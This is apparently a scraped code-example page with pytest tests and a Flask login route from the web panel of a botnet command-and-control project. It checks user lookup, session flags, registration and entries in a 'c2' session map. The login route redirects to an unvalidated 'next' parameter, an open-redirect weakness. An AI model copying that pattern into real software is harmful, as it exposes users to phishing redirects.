Exemple #1
0
def test_get_user(app_client, new_user):
    """
    Given a user id or username,
    when the user_dao.get_user method is called,
    check that we can fetch the user data from the database.  
    """
    assert user_dao.get_user(user_id=new_user.id) is not None
    assert user_dao.get_user(username=new_user.username) is not None
Exemple #2
0
def test_get_user_sessions_new(app_client, new_session):
    """
    Given a user,
    when the session_dao.get_user_sessions_new is called,
    check the user's new sessions are fetched and their 'new' attribute is updated to false in the database.
    """
    # get session owner (user)
    user = user_dao.get_user(username=new_session.owner)
    assert user is not None

    # get users's new sessions and test 'new' attribute has been toggled to false
    new_user_sessions = session_dao.get_user_sessions_new(user.id)
    assert len(new_user_sessions) > 0
    assert all(s.new is False for s in user.sessions)
Exemple #3
0
def login():
    """Log user in"""
    if current_user.is_authenticated:
        return redirect(url_for('main.sessions'))

    form = LoginForm()
    if form.validate_on_submit():
        user = user_dao.get_user(username=form.username.data)
        if user and bcrypt.check_password_hash(user.password,
                                               form.password.data):
            login_user(user)
            next_page = request.args.get('next')
            return redirect(next_page) if next_page else redirect(
                url_for('main.sessions'))
        flash("Invalid username/password.", 'danger')
    return render_template("login.html", form=form, title="Log In"), 403
def test_register(app_client):
    """
    Given an application instance,
    when a POST request is sent to /register with valid form data,
    check that the user is added to the database correctly,
    the user directories are created in the filesystem properly,
    and the username is added to the c2 session hashmap properly.
    """

    test_username = '******'
    test_password = '******'
    try:
        res = app_client.post(
            '/register',
            data={
                'username': test_username,
                'password': test_password,
                'confirm_password': test_password
            },
            follow_redirects=True,
            headers={"Content-Type": "application/x-www-form-urlencoded"})
    except Exception as e:
        pytest.fail("user_dao.add_user returned exception: " + str(e))

    # check user was created in database correctly
    user = user_dao.get_user(username=test_username)
    assert user.username == test_username
    assert bcrypt.check_password_hash(user.password, test_password)

    # check user directory created in filesystem
    user_dir = os.path.join('./buildyourownbotnet/output/', test_username)
    assert os.path.isdir(user_dir)

    # check user added to c2 session hashmap
    assert test_username in c2.sessions

    # clean up
    User.query.delete()
    db.session.commit()

    # clean up filesystem
    shutil.rmtree(user_dir)